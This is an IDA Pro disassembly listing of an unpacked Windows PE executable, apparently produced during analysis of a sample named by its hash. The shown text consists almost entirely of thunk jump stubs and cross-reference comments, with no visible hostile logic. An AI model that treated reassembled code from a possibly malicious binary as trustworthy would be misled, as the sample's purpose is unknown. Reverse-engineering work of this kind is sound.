;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : C3E64EC1DC692518EECC2E20C5B753DA
; File Name : u:\work\c3e64ec1dc692518eecc2e20c5b753da_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00112000 (1122304.)
; Section size in file : 00112000 (1122304.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_430920
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43F09Co
jmp loc_412D80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421BF0+29p
jmp sub_422150
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_432540
; ---------------------------------------------------------------------------
jmp loc_420EA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004119B3p
jmp sub_4119E0
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B29Dp
; ___:0040B2AAp ...
jmp sub_403C50
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FB90+34p
jmp sub_40B0E0
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404CC0+616p
; sub_404CC0+6D5p ...
jmp sub_40A110
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42B3F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp
; ___:00414C00p
jmp sub_4156D0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_430B30+6Ep
; sub_430B30+8Ap ...
jmp sub_4342D0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:00430212p
; sub_430B30+3Fp ...
jmp sub_434150
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423A40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D210
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap
; sub_40B150+1Ap
jmp sub_433C70
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E760+37Bp
jmp sub_421D30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C1A0+8p
jmp sub_40C360
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap
; sub_434A00+50p
jmp sub_432BB0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43F07Co
jmp sub_41C710
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416FAAp
jmp sub_41FCD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40C040+32p
jmp sub_40C200
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416FBAp
jmp sub_418390
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415920+6Ap
; sub_416380+32p
jmp sub_4162C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E760+161p
; sub_4224E0+3p
jmp sub_421B50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421D30+3p
; ___:004220FFp ...
jmp sub_422270
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C4E0+43p
jmp sub_40CBB0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_4292E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_4075C0+Ap
jmp sub_407660
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p
; sub_424870+6p ...
jmp sub_4245E0
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p
; sub_431EF0+14Fp
jmp sub_4340E0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p
jmp sub_431C80
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043F174o
jmp sub_42B0B0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43F0A0o
jmp loc_41E3C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418430+D0p
; sub_418590+2Dp
jmp sub_418B20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_410030+8D9p
; sub_410030+990p ...
jmp sub_411930
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:00430626p
; ___:00430694p ...
jmp sub_4321F0
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421E50+9p
; sub_422340+18p
jmp sub_4224C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p
; sub_40AAD0+82p ...
jmp sub_40ACC0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p
; ___:00423BA6p ...
jmp sub_419BE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416110+7p
jmp sub_416740
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415600+5Bp
; sub_415F70+11p ...
jmp sub_4161C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p
jmp sub_42AD90
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp
jmp sub_421DB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_4220B0+11p
; ___:004220D7p ...
jmp sub_4225D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421B30+3p
; ___:00421E9Fp ...
jmp sub_422010
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_4144D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_428210+3p
jmp sub_428240
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415B00+11p
; ___:00415B27p ...
jmp sub_416570
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_434600
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421C60+5p
; sub_421D50+6p ...
jmp sub_422250
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416B5Bp
; ___:0043B25Ej ...
jmp sub_417B60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap
; sub_404CC0+1AFp ...
jmp sub_412A40
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43F074o
jmp sub_4193C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_432D10+6p
; ___:00432D23p ...
jmp sub_430770
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42F6C0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43F15Co
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423D9Dp
jmp sub_423860
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_433240
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:00415178p
jmp sub_415A90
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41BA50+F7p
; sub_41BA50+10Bp ...
jmp sub_409F80
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_4099F0+Ap
jmp sub_409AE0
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4134A0+55p
; sub_4134A0+94p ...
jmp sub_415860
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425100+18Cp
; ___:00425F7Dp
jmp sub_4236F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414C8Ep
jmp sub_415600
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_4288F0+3p
jmp sub_428920
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43F038o
jmp loc_4119B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415ED0+11p
; ___:00415EF7p ...
jmp sub_4166F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418C10+23p
; sub_418E80+11p
jmp sub_418F60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418B90+3p
; sub_418F90+54p ...
jmp sub_418DE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap
; sub_4096E0+103p
jmp sub_409980
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_433B30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413E4Dp
jmp sub_413C40
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A2E4p
jmp sub_41B0E0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4134A0+88p
; sub_4148A0+BFp ...
jmp sub_415A30
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_430770+7p
; sub_4307E0+19p ...
jmp sub_434BA0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DBF0
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:0043239Ap
jmp sub_431D40
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_407230+11p
; sub_4073C0+1Fp
jmp sub_407460
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p
; sub_403720+3C5p ...
jmp sub_403E50
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421D10+3p
jmp sub_422290
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C330+Ap
jmp sub_40C3F0
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp
; sub_407080+1Fp ...
jmp sub_403CC0
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413344p
; ___:0043AC8Cj ...
jmp sub_415490
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42C640+3p
jmp sub_42C670
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AFE0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp
jmp sub_414D40
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407660+7p
; sub_409AE0+7p ...
jmp sub_407690
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p
; ___:00414C3Dp ...
jmp sub_4156F0
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E760+58p
jmp sub_420630
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413E70+84p
jmp sub_4138B0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00433718p
jmp sub_431060
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_407510+8p
jmp sub_4075F0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp
; sub_404CC0+230p ...
jmp sub_40A510
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A870+21p
; sub_40AAD0+A5p
jmp sub_40AAB0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40B050
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A510+129p
; sub_40A8F0+4p ...
jmp sub_40A8C0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo
jmp sub_427940
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004335ADp
jmp sub_430D60
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_407340+3p
; ___:0040740Fp ...
jmp sub_4074D0
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D930+346p
; sub_41D930+410p ...
jmp sub_421970
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421BB0+11p
; sub_4220B0+1Fp
jmp sub_4221E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42C7E0+3p
jmp sub_42C810
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_4077E0
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C200+5Fp
jmp sub_40C3D0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_403530+F6p
; sub_403530+12Ep ...
jmp sub_409D10
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E760+113p
; sub_41E760+124p
jmp sub_421B30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043F060o
jmp sub_41F960
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416BFBp
; ___:0043B1D2j ...
jmp sub_4177B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp
jmp sub_431240
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418C10+32p
jmp sub_418E80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_434860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415500+5p
; sub_415710+6p ...
jmp sub_416130
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BD90+29p
; sub_40BEB0+29p
jmp sub_40C040
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E760+3E9p
; ___:0043C4ABj
jmp sub_421BF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4145A0+BFp
jmp sub_4152E0
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4165E0+Ap
jmp sub_416920
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416C67p
; ___:0043B173j ...
jmp sub_4170B0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418430
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416D30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416F1Fp
jmp sub_4180D0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414760
; ---------------------------------------------------------------------------
jmp loc_430320
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_410030+387p
; sub_41F030+21Dp ...
jmp sub_41B7E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416F5Ap
jmp sub_418280
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409570+8p
jmp sub_4095C0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_4096E0+A5p
; sub_412C90+21p
jmp sub_4098F0
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404CC0+382p
; sub_41D930+5AAp
jmp sub_41C130
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416E6Fp
jmp sub_403720
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p
; sub_418F90+11p
jmp sub_4190E0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424920+Cp
; sub_424920+3Ep ...
jmp sub_424410
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_430960
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap
; sub_404CC0+AD6p ...
jmp sub_40A370
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042FE06p
; ___:0042FE56p ...
jmp sub_432780
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E760+367p
; sub_41E760+3D4p ...
jmp sub_421D80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_427D50+107o
jmp sub_427FD0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424800+18p
; sub_424840+Ap ...
jmp sub_4247B0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416220+9p
; sub_4162C0+18p
jmp sub_4168D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_432570+32o
jmp sub_432D70
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42FE50
; ---------------------------------------------------------------------------
jmp loc_419CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_42AD90+67p
jmp sub_41FFF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:004301E8p
; sub_4303A0+2p ...
jmp sub_431560
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp
; sub_4145A0+40p ...
jmp sub_415230
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404690+19Fp
; sub_404690+212p ...
jmp sub_409FD0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p
; sub_424F70+F1p
jmp sub_424F00
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425100+130p
jmp sub_424F70
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416F3Ap
jmp sub_418180
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418010
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4316C0+1p
jmp sub_431750
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00427201p
jmp sub_427740
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418430+71p
; sub_418430+BBp ...
jmp sub_418AF0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A180+7p
jmp sub_40A1A0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004329C8p
; sub_432A20+2Bp
jmp sub_432BF0
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_432570+1p
jmp sub_4327B0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp
jmp sub_421CD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414430+5Bp
jmp sub_415100
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_415490+29p
; sub_4155B0+29p
jmp sub_416030
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00437232p
; ___:00437242p ...
jmp sub_4370F0
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp
; sub_4134A0+9Ep ...
jmp sub_415A60
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B600+62p
; ___:0040BAC8p ...
jmp sub_40BF40
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4313B0
; ---------------------------------------------------------------------------
jmp loc_42FF30
; ---------------------------------------------------------------------------
loc_40134D: ; DATA XREF: ___:0043F1A8o
jmp loc_42C690
; ---------------------------------------------------------------------------
jmp loc_42C5D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416190+8p
jmp sub_4167B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4134A0+71p
; sub_4134A0:loc_41356Cp ...
jmp sub_415A10
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418430+AFp
; sub_4190E0+3p
jmp sub_418BB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043F104o
jmp sub_427D50
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B600+39p
; sub_40B600+78p ...
jmp sub_40BF70
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_426A90+29p
; sub_426A90+38p
jmp sub_4269A0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A600+1Cp
jmp sub_41A640
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043F164o
jmp sub_42AF20
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408C9Cp
; ___:00414551p
jmp sub_414300
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418590+72p
jmp sub_406C80
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409E00+7p
; sub_409F50+7p ...
jmp sub_40A7E0
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43F080o
jmp sub_422B40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413BB0
; ---------------------------------------------------------------------------
jmp sub_42C640
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418A00+11p
; sub_421DB0+1Fp
jmp sub_418D50
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5C0
loc_4013A2: ; CODE XREF: sub_42C5C0+3j
jmp sub_42BB00
; END OF FUNCTION CHUNK FOR sub_42C5C0
; ---------------------------------------------------------------------------
jmp sub_42C7E0
; ---------------------------------------------------------------------------
jmp loc_42FEA0
; ---------------------------------------------------------------------------
jmp loc_414B30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp
jmp sub_4073C0
sub_4013B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp
jmp sub_4253C0
sub_4013BB endp
; ---------------------------------------------------------------------------
jmp loc_42FAA0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p
; ___:00416BEBp ...
jmp sub_40FE70
sub_4013C5 endp
; =============== S U B R O U T I N E =======================================
